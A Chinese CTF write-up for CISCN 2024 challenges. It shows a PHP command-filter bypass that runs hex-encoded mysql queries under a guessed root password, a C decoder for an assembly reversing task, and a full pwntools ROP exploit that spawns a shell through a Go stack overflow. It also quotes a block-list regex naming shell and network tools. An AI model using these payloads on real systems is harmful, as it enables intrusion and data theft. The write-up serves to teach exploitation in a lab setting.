ciscn2024（上传一下，有侵权什么的问题的话联系删除）

Web

Simple_php

这个Simple_php一点儿也不Simple (⋟﹏⋞)
源码放这儿了：

<?php
  ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
  $cmd = escapeshellcmd($_POST['cmd']); 
  if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
    system($cmd);
  }
}


show_source(__FILE__);
?>

很明显，POST一个cmd进去，然后通过escapeshellcmd函数对参数进行转义，然后进行逆天的正则，之后RCE。
大概就是这样，还能干啥？全都给过滤了，还能咋绕过？
首先是信息搜集，不过有用的似乎没多少，查看进程发现一个MySQL的进程，可以试着打一下MySQL：

mysql 277 0.0 16.9 1083992 89076 pts/0 Sl+ 07:38 0:00 /usr/sbin/mariadbd --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --skip-log-error --pid-file=/run/mysqld/mysqld.pid --socket=/run/mysqld/mysqld.sock

看来是攻击MySQL了，猜测用户是root，密码随便猜，这道题也是root，运气好，猜中了，那么，先查数据库：

//构造这个查询语句
echo `mysql -uroot -proot -e "SHOW DATABASES"`;
//payload 
cmd=php+-r+eval(hex2bin(substr(aa6563686f20606d7973716c202d75726f6f74202d70726f6f74202d65202253484f572044415441424153455322603b,2)));
//结果
Warning: Use of undefined constant aa6563686f20606d7973716c202d75726f6f74202d70726f6f74202d65202253454c45435420534348454d415f4e414d45204153205048505f434d532046524f4d20494e464f524d4154494f4e5f534348454d412e534348454d4154413b22603b - assumed 'aa6563686f20606d7973716c202d75726f6f74202d70726f6f74202d65202253454c45435420534348454d415f4e414d45204153205048505f434d532046524f4d20494e464f524d4154494f4e5f534348454d412e534348454d4154413b22603b' (this will throw an Error in a future version of PHP) in Command line code on line 1
PHP_CMS
information_schema
mysql
performance_schema
PHP_CMS

//构造这个查询语句
echo `mysql -uroot -proot -e "select table_name as PHP_CMS from information_schema.TABLES where TABLE_SCHEMA='PHP_CMS'"`;
//payload 
cmd=php+-r+eval(hex2bin(substr(aa6563686f20606d7973716c202d75726f6f74202d70726f6f74202d65202273656c656374207461626c655f6e616d65206173205048505f434d532066726f6d20696e666f726d6174696f6e5f736368656d612e5441424c4553207768657265205441424c455f534348454d413d275048505f434d532722603b,2)));
//结果
Warning: Use of undefined constant aa6563686f20606d7973716c202d75726f6f74202d70726f6f74202d65202273656c656374207461626c655f6e616d65206173205048505f434d532066726f6d20696e666f726d6174696f6e5f736368656d612e5441424c4553207768657265205441424c455f534348454d413d275048505f434d532722603b - assumed 'aa6563686f20606d7973716c202d75726f6f74202d70726f6f74202d65202273656c656374207461626c655f6e616d65206173205048505f434d532066726f6d20696e666f726d6174696f6e5f736368656d612e5441424c4553207768657265205441424c455f534348454d413d275048505f434d532722603b' (this will throw an Error in a future version of PHP) in Command line code on line 1
PHP_CMS
F1ag_Se3Re7

查一下这个F1ag_Se3Re7，不出意外的话，应该flag在这里面：

//构造这个查询语句
echo `mysql -uroot -proot -e "SELECT * FROM PHP_CMS.F1ag_Se3Re7"`;  
//payload
cmd=php+-r+eval(hex2bin(substr(aa6563686f20606d7973716c202d75726f6f74202d70726f6f74202d65202253454c454354202a2046524f4d205048505f434d532e463161675f53653352653722603b,2)));
//结果
Warning: Use of undefined constant aa6563686f20606d7973716c202d75726f6f74202d70726f6f74202d65202253454c454354202a2046524f4d205048505f434d532e463161675f53653352653722603b - assumed 'aa6563686f20606d7973716c202d75726f6f74202d70726f6f74202d65202253454c454354202a2046524f4d205048505f434d532e463161675f53653352653722603b' (this will throw an Error in a future version of PHP) in Command line code on line 1
id	f1ag66_2024
1	flag{e784d525-93a1-466b-9f22-38a3add54dfe}

flag：flag{e784d525-93a1-466b-9f22-38a3add54dfe}
补充：

1.因为存在escapeshellcmd函数，所以在转义之后，在system函数中，"在经过hex2bin之后，就能够表示字符串"本身
2.在构造substr的时候，第一个参数没有引号也能正常使用，只是会出现一个报错

Re

asm_re

ex
数据段，数据段分配内存，每一个数据段会获得2个内存单元
计算机采用小端存储，小端字节序存储：把一个数据的低位字节的内容，存储在低地址处，把高位字节的内容，存储在高地址处；
数据段：存放数据的段。使用时候，用DS寄存器
大于一个字节长度的16进制数据进行高低位分割之后进行传输

DCB：用于分配一片连续的字节存储单元并用指定的数据初始化
DCB表示：它分配一段字节的内存单元，它每个操作数都占有一个字节，操作数范围为-128～255的数值或字符串。
关键部分

#include<stdio.h>
int main()
{
    char flag[100];
    int data[] =  {0x1FD7, 0x21B7, 0x1E47, 0x2027, 0x26E7, 0x10D7, 0x1127, 0x2007, 0x11c7, 0x1e47, 0x1017, 0x1017,
                   0x11f7, 0x2007, 0x1037, 0x1107, 0x1f17, 0x10d7, 0x1017, 0x1017, 0x1f67, 0x1017, 0x11c7, 0x11c7, 0x1017,
                   0x1fd7, 0x1f17, 0x1107, 0xf47, 0x1127, 0x1037, 0x1e47, 0x1037, 0x1fd7, 0x1107, 0x1fd7, 0x1107, 0x2787};
    int len;
    len=sizeof(data)/sizeof(data[0]);
    int index=0;

    for(int j=0;j<len;j++)
    {
        for(int i=32;i<128;i++)
        {
            if((((i*0x50+0x14)^0x4D)+0x1E)==data[j])
            {
                flag[index++]=(char)i;
                break;
            }
        }

    }
    flag[index]='\0';//char型

    puts(flag);
    //flag{67e9a228e45b622c2992fb5174a4f5f5}	
    return 0;
}

Pwn

gostack（复现）:

go语言的栈溢出，没遇到过，赛后复现下，看看能否干出来。
首先是检查保护，不过64位，出了NX之外没有任何保护，那就简单不少，拖到IDA里看看，很轻松就能找到mainmain：

// main.main
void __fastcall main_main()
{
  __int64 v0; // r14
  void *retaddr; // [rsp+8h] [rbp+0h] BYREF

  while ( (unsigned __int64)&retaddr <= *(_QWORD *)(v0 + 16) )
    runtime_morestack_noctxt();
  main_main_func1();
  if ( (unsigned __int8)main_main_func3() )
    main_main_func2();
}

不过这个很明显，有点看不懂，毕竟没接触过go语言，那么，先直接运行下看看程序是啥情况？：

root@g01den-virtual-machine:/mnt/shared# ./pwn
Welcome to CISCN!
Happy magic golang!
Input your magic message :
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaaaaaa
Your magic message :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaaaaaa

就结束了，没了，感觉很简单，有输入，但是只有一次写入。
这个运行里给了一部分信息，那么凭借这些信息很轻松就找到了主要部分函数的地方：

// main.main.func3
__int64 __golang main_main_func3(__int64 a1, __int64 a2)
{
  __int64 v2; // r14
  __int128 v3; // xmm15
  __int64 v4; // rax
  __int64 v5; // rcx
  __int64 v6; // rdx
  int v7; // r11d
  int v8; // ebx
  int v9; // r11d
  int v10; // ecx
  int v11; // r8d
  int v12; // r9d
  int v13; // r10d
  int v14; // r11d
  __int64 v15; // rbx
  int v16; // r8d
  int v17; // r9d
  int v18; // r10d
  int v19; // r11d
  int v20; // ecx
  int v21; // r8d
  int v22; // r9d
  int v23; // r11d
  char *v24; // rdx
  unsigned __int8 *v25; // r10
  __int64 i; // rax
  __int64 v27; // rax
  int v28; // r10d
  int v29; // r11d
  __int64 v31; // [rsp+10h] [rbp-208h]
  __int64 v32; // [rsp+10h] [rbp-208h]
  char v33[72]; // [rsp+48h] [rbp-1D0h] BYREF
  char v34; // [rsp+90h] [rbp-188h] BYREF
  unsigned __int8 *v35; // [rsp+148h] [rbp-D0h]
  __int64 v36; // [rsp+150h] [rbp-C8h]
  __int128 v37; // [rsp+158h] [rbp-C0h] BYREF
  _QWORD v38[2]; // [rsp+168h] [rbp-B0h] BYREF
  char *v39; // [rsp+178h] [rbp-A0h]
  __int64 v40; // [rsp+180h] [rbp-98h]
  __int64 v41; // [rsp+188h] [rbp-90h]
  __int64 v42[4]; // [rsp+190h] [rbp-88h] BYREF
  __int64 v43; // [rsp+1B0h] [rbp-68h]
  __int64 v44; // [rsp+1B8h] [rbp-60h]

  while ( (unsigned __int64)&v34 <= *(_QWORD *)(v2 + 16) )
    runtime_morestack_noctxt();
  v4 = ((__int64 (__fastcall *)(char *))loc_4606F4)(v33);
  v39 = v33;
  v40 = 256LL;
  v41 = 256LL;
  ((void (__golang *)(__int64, __int64, __int64, __int64 *))loc_460722)(v4, a2, v5, v42);
  v42[0] = (__int64)off_4DF4E8;
  v42[1] = v6;
  v42[2] = (__int64)&off_4C5DD0;
  v42[3] = 0x10000LL;
  fmt_Fprintf(
    (unsigned int)off_4DF508,
    qword_5633E8,
    (unsigned int)"Happy magic golang!\n",
    20,
    0,
    0,
    0,
    (unsigned int)off_4DF4E8,
    v7);
  v38[0] = &RTYPE_string;
  v38[1] = &off_4DF040;
  v8 = qword_5633E8;
  fmt_Fprintf(
    (unsigned int)off_4DF508,
    qword_5633E8,
    (unsigned int)"%s",
    2,
    (unsigned int)v38,
    1,
    1,
    (unsigned int)&off_4DF040,
    v9);
  bufio__ptr_Scanner_Scan((unsigned int)v42, v8, v10, 2, (unsigned int)v38, v11, v12, v13, v14);
  v15 = v43;
  v35 = (unsigned __int8 *)runtime_slicebytetostring(0, v43, v44, 2, (unsigned int)v38, v16, v17, v18, v19, v31);
  v36 = v15;
  v24 = v39;
  v25 = v35;
  for ( i = 0LL; v15 > i; ++i )
  {
    v20 = *v25;
    *v24++ = v20;
    ++v25;
  }
  v37 = v3;
  v27 = runtime_convTstring((_DWORD)v35, v36, v20, 2, (unsigned int)v38, v21, v22, (_DWORD)v25, v23, v32);
  *(_QWORD *)&v37 = &RTYPE_string;
  *((_QWORD *)&v37 + 1) = v27;
  fmt_Fprintf(
    (unsigned int)off_4DF508,
    qword_5633E8,
    (unsigned int)"Your magic message :%s\n\", missing CPU supp",
    23,
    (unsigned int)&v37,
    1,
    1,
    v28,
    v29);
  return 0LL;
}

作为一个新人，我敢保证我眼睛看瞎了也看不懂这玩意儿，因此，先gdb一下再说，在那之前，先下断点，

.text:00000000004A0974                 movups  [rsp+208h+var_B0], xmm15
.text:00000000004A097D                 lea     rdx, RTYPE_string
.text:00000000004A0984                 mov     qword ptr [rsp+208h+var_B0], rdx
.text:00000000004A098C                 lea     r10, off_4DF040 ; "Input your magic message :\nSIG"
.text:00000000004A0993                 mov     qword ptr [rsp+208h+var_B0+8], r10
.text:00000000004A099B                 mov     rbx, cs:qword_5633E8
.text:00000000004A09A2                 lea     rax, off_4DF508
.text:00000000004A09A9                 lea     rcx, aS_2       ; "%s"
.text:00000000004A09B0                 mov     edi, 2
.text:00000000004A09B5                 lea     rsi, [rsp+208h+var_B0]
.text:00000000004A09BD                 mov     r8d, 1
.text:00000000004A09C3                 mov     r9, r8
.text:00000000004A09C6                 call    fmt_Fprintf
.text:00000000004A09CB                 lea     rax, [rsp+208h+var_88]
.text:00000000004A09D3                 call    bufio__ptr_Scanner_Scan

这里找到了需要下断点的大概的地址，就是最后这一行的这里是输入的函数，下断点之后，再继续进行调试，之后就发现了一点奇怪的东西，就是这儿：

02:0010│-1f8 0xc000044d68 —▸ 0xc0000b2000 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'

栈的上下都没有写入的AAA…，但是这个题目又叫栈溢出，就很耐人寻味是为啥，不过，懒得考虑那么多了，再继续gdb走起，之后就发现了，AAA被逐渐逐渐地写入到了栈上：

00:0000│ rsp   0xc000049d60 ◂— 0x0
01:0008│-1f8   0xc000049d68 —▸ 0xc000102000 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'
02:0010│-1f0   0xc000049d70 ◂— 0x24 /* '$' */
03:0018│-1e8   0xc000049d78 ◂— 0x2
04:0020│-1e0   0xc000049d80 —▸ 0xc000049eb8 —▸ 0x4aa800 ◂— 0x10
05:0028│-1d8   0xc000049d88 ◂— 0x1
06:0030│-1d0   0xc000049d90 ◂— 0x1
07:0038│ rdx-7 0xc000049d98 ◂— 0x61616161616161 /* 'aaaaaaa' */ <----这里可以看到被写入了栈上

然后查看栈空间的布局：

07:0038│ rdx-7 0xc000049d98 ◂— 0x61616161616161 /* 'aaaaaaa' */
08:0040│-1c0   0xc000049da0 ◂— 0x0
... ↓          30 skipped
27:0138│-0c8   0xc000049e98 —▸ 0xc000020090 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
28:0140│-0c0   0xc000049ea0 ◂— 0x24 /* '$' */
29:0148│-0b8   0xc000049ea8 —▸ 0x49136a ◂— mov rbp, qword ptr [rsp + 0x18]
2a:0150│-0b0   0xc000049eb0 —▸ 0x549e80 (data_start+3296) —▸ 0xc000100000 —▸ 0x4b9640 ◂— 0x8
2b:0158│-0a8   0xc000049eb8 —▸ 0x4aa800 ◂— 0x10
2c:0160│-0a0   0xc000049ec0 —▸ 0x4df040 —▸ 0x4c15af ◂— 0x6f79207475706e49 ('Input yo')
2d:0168│-098   0xc000049ec8 —▸ 0xc000049d98 ◂— 0x61616161616161 /* 'aaaaaaa' */
2e:0170│-090   0xc000049ed0 ◂— 0x100
2f:0178│-088   0xc000049ed8 ◂— 0x100
30:0180│-080   0xc000049ee0 —▸ 0x4df4e8 —▸ 0x4aeb40 ◂— 0x10
31:0188│-078   0xc000049ee8 —▸ 0xc000010010 —▸ 0xc00007e000 ◂— 0x0
32:0190│-070   0xc000049ef0 —▸ 0x4c5dd0 —▸ 0x49b080 ◂— cmp rsp, qword ptr [r14 + 0x10]
33:0198│-068   0xc000049ef8 ◂— 0x10000
34:01a0│-060   0xc000049f00 —▸ 0xc000102000 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'
35:01a8│-058   0xc000049f08 ◂— 0x24 /* '$' */
36:01b0│-050   0xc000049f10 ◂— 0x1000
37:01b8│-048   0xc000049f18 —▸ 0xc000102000 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'
38:01c0│-040   0xc000049f20 ◂— 0x1000
39:01c8│-038   0xc000049f28 ◂— 0x1000
3a:01d0│-030   0xc000049f30 ◂— 0x25 /* '%' */
3b:01d8│-028   0xc000049f38 ◂— 0x25 /* '%' */
3c:01e0│-020   0xc000049f40 ◂— 0x0
... ↓          2 skipped
3f:01f8│-008   0xc000049f58 ◂— 0x1
40:0200│ rbp   0xc000049f60 —▸ 0xc000049f70 —▸ 0xc000049fd0 ◂— 0x0

能清晰地看到，rbp与缓冲区的大小：

pwndbg> distance 0xf60 0xd98
0xf60->0xd98 is -0x1c8 bytes (-0x39 words)

那么，之后就可以直接进行栈溢出了。但是，在经过多次溢出之后，发现了个致命的问题，就是关于这个输入函数，致命在哪里呢？在这儿：

.text:000000000049A786                 cmp     byte ptr [rax+79h], 0
.text:000000000049A78A                 jnz     short loc_49A79A

以及：

.text:000000000049A79A loc_49A79A:                             ; CODE XREF: bufio__ptr_Scanner_Scan+2A↑j
.text:000000000049A79A                 xor     eax, eax
.text:000000000049A79C                 mov     rbp, [rsp+0D0h+var_8]
.text:000000000049A7A4                 add     rsp, 0D0h
.text:000000000049A7AB                 retn

它会对这儿进行一次比对，如果是0，则不会跳转，如果不是0，则会跳转，直接停止输入的函数。
所以需要直接用\x00来填充是最保险的。之后就是syscall来打，但是exp我不是很会写，先借鉴借鉴大佬们的，之后再看看：

from pwn import *
# context.log_level = 'debug'
io = process('./gostack')
# io = remote('8.147.133.63',  34196)

io.recvuntil(b'magic message :')


bss = 0x000000000563C50
syscall_addr = 0x0000000000404043
pop_rsi = 0x000000000042138a
pop_rax = 0x000000000040f984
pop_rdx = 0x00000000004944ec
pop_rdi = 0x00000000004a18a5
leave_ret = 0x000000000049695a

# write '/bin/sh\x00' to bss
rop = p64(pop_rax)
rop += p64(0)
rop += p64(pop_rsi)
rop += p64(bss)
rop += p64(pop_rdx)
rop += p64(8)
rop += p64(pop_rdi)
rop += p64(0) 
rop += p64(syscall_addr)
rop += p64(syscall_addr)
rop += p64(syscall_addr)
rop += p64(syscall_addr)
rop += p64(syscall_addr)
rop += p64(syscall_addr)

# execve('/bin/sh')
rop += p64(pop_rax)
rop += p64(0x3b)
rop += p64(pop_rsi)
rop += p64(0)
rop += p64(pop_rdx)
rop += p64(0)
rop += p64(pop_rdi)
rop += p64(bss)
rop += p64(syscall_addr)
rop += p64(syscall_addr)
rop += p64(syscall_addr)
rop += p64(syscall_addr)
rop += p64(syscall_addr)
rop += p64(syscall_addr)


payload = b'/bin/sh\x00' + b'A' * 0xf8
payload += p64(0xc00004dd98)
payload += p64(0x110)
payload += p64(0x110)
payload += b'D' * 0x60 + b'E' * 0x50 + b'F' *8 + rop


# gdb.attach(io, gdbscript='''
# b *0x0000000004A0A88
# c
# stack 60
#     ''')
# pause()
io.sendline(payload)
sleep(0.6)
io.sendline(b'/bin/sh\x00')
sleep(0.6)
io.sendline(b'cat flag')
io.interactive()

Crypto

古密